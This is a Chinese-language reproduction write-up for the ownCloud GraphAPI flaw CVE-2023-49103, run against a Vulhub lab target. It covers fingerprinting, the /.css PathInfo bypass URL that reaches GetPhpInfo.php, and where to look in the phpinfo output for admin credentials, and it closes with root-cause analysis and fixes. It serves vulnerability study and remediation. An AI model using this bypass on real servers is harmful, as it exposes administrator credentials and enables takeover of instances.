CVE-2023-49103 是 ownCloud GraphAPI 插件的未授权信息泄露漏洞,CVSS 10.0。插件把第三方依赖库(microsoft-graph SDK)中的调试文件 GetPhpInfo.php 随应用一同部署到生产环境;攻击者利用 Apache 的 PathInfo 特性,在请求路径末尾附加静态资源后缀(如 /.css)绕过 ownCloud 的 URL 重写规则,直接访问该文件并触发 phpinfo() 输出。phpinfo 会输出全部服务器环境变量,容器化部署中包含管理员账号密码等敏感凭据,可导致完全接管 ownCloud 实例。
复现基于 Vulhub 的 owncloud/CVE-2023-49103 靶场(ownCloud 10.12.1),覆盖指纹识别、漏洞验证、凭据泄露三个阶段,并拆解 PathInfo 绕过的成因。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2023-49103 | 10.0 | graphapi 0.2.x(<0.2.1)、0.3.x(<0.3.1);graphapi 预装于 ownCloud Server 10.6 起,Server < 10.13.3 均受影响 | 未授权敏感信息泄露 |
漏洞复现
复现环境准备
使用 Vulhub 快速搭建漏洞环境:
┌──(kali㉿kali)-[~]└─$ apt install docker.io docker-compose # 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ git pull origin master # 若无 owncloud 目录,手动更新仓库└─$ cd vulhub/owncloud/CVE-2023-49103└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态9f15fafcf802 vulhub/owncloud:10.12.1 "/usr/bin/entrypoint…" 7 minutes ago Up 7 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2023-49103-owncloud-1端口扫描与服务识别
┌──(kali㉿kali)-[~]└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果PORT STATE SERVICE VERSION8080/tcp open http Apache httpd| http-robots.txt: 1 disallowed entry|_/|_http-open-proxy: Proxy might be redirecting requests|_http-trane-info: Problem with XML parsing of /evox/about| http-title: ownCloud|_Requested resource was http://192.168.31.148:8080/login|_http-server-header: ApacheMAC Address: 00:0C:29:B3:23:74 (VMware)扫描结果显示端口 8080 开放,http-title 标注为 ownCloud,目标运行 ownCloud 服务,访问根目录被重定向到 /login。这是正常现象,漏洞路径不需要登录。
nmap 的默认脚本只扫出了 robots.txt 和 login 页面。CVE-2023-49103 隐藏在 vendor 目录下,属于第三方库(Microsoft Graph SDK)带进来的测试文件,一般的扫描器如果不使用特定指纹字典,很难发现这个深层路径。
漏洞验证
先验证漏洞文件能否直接访问。在 Kali 终端执行以下 curl 命令,观察 HTTP 状态码:
┌──(kali㉿kali)-[~]└─$ curl -I http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.phpHTTP/1.1 302 Found...(其余响应头省略)Location: http://192.168.31.148:8080/loginContent-Type: text/html; charset=UTF-8直接访问被重定向到登录页面;已修复的实例会返回 403/404。这里返回 302,是因为 ownCloud 通过 .htaccess 默认启用了严格的 URL 重写规则,所有对 PHP 文件的直接请求都会被重定向到前端控制器,阻止了对内部调试文件的访问。
漏洞利用
重写规则对以静态资源扩展名(.css、.js、.png 等)结尾的请求不做重写。攻击者利用这一点,在目标 PHP 文件路径后附加一个“假”的静态扩展名(如 /.css),使 Apache 将其当作静态资源请求,绕过重写规则,直接执行该 PHP 文件。
在浏览器直接访问 http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css,即可看到 phpinfo() 输出页面:

在页面中搜索 OWNCLOUD_ 或 Environment 可以快速定位敏感凭据。本靶机的环境变量由 Vulhub 的 docker-compose.yml 注入,OWNCLOUD_ADMIN_PASSWORD 的值为 secret123;生产环境中这一行是真实的管理员密码,此外还可能包含邮件服务器凭据、许可证密钥等。
注意:此绕过手法依赖于 Apache + mod_php + PathInfo 支持 的环境,如果使用 Nginx 或 PHP-FPM,则此绕过方式可能无效。
漏洞核心原理
GraphAPI 插件通过 Composer 引入第三方依赖 microsoft-graph SDK,SDK 的 tests 目录中包含调试文件 GetPhpInfo.php,内容就是一句 phpinfo()。插件打包时未排除测试文件,该文件随应用一同部署到生产环境的 apps/graphapi/vendor/ 目录下,这就是漏洞的源头。
文件虽然部署了,直接访问却会被 ownCloud 的 .htaccess 重写规则拦截:所有 PHP 请求都被重写到前端控制器,这就是直接访问返回 302 的原因。但重写规则对以静态资源扩展名(.css、.js、.png 等)结尾的请求放行,不做重写。攻击者在路径末尾附加 /.css 后,URL 以静态扩展名结尾,重写规则不再匹配。
真正让文件执行起来的是 Apache 的 PathInfo 特性:对 /GetPhpInfo.php/.css 这样的请求,Apache + mod_php 把 /.css 当作 PATH_INFO,仍然执行 GetPhpInfo.php 本身。phpinfo() 随即输出全部 PHP 环境信息,其中 Environment 段包含 Web 服务器进程的全部环境变量。容器化部署中,ownCloud 的管理员账号密码、邮件服务器凭据、许可证密钥都通过环境变量注入,因此全部出现在输出中。
官方公告还明确:仅禁用 graphapi 应用不能消除漏洞,文件位于 vendor 目录,不随应用禁用而移除,仍可被直接访问。
修复方案
- 升级 graphapi 至 0.2.1 或 0.3.1(按当前版本线);graphapi 预装于 ownCloud Server,升级 Server 至 10.13.3 及以上同样完成修复。
- 临时缓解:删除
apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php文件;在 PHP 配置中将phpinfo加入disable_functions。 - 仅禁用 graphapi 应用无效(见上文原理)。
该漏洞已列入 CISA KEV 目录,存在在野利用,受影响实例应尽快处置。
参考链接
- ownCloud 官方公告:https://owncloud.com/blogs/immediate-action-required-critical-security-updates-for-owncloud/
- GitHub Advisory(GHSA-7f2q-q825-57p8):https://github.com/advisories/GHSA-7f2q-q825-57p8
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2023-49103
- Vulhub 靶场:https://github.com/vulhub/vulhub/tree/master/owncloud/CVE-2023-49103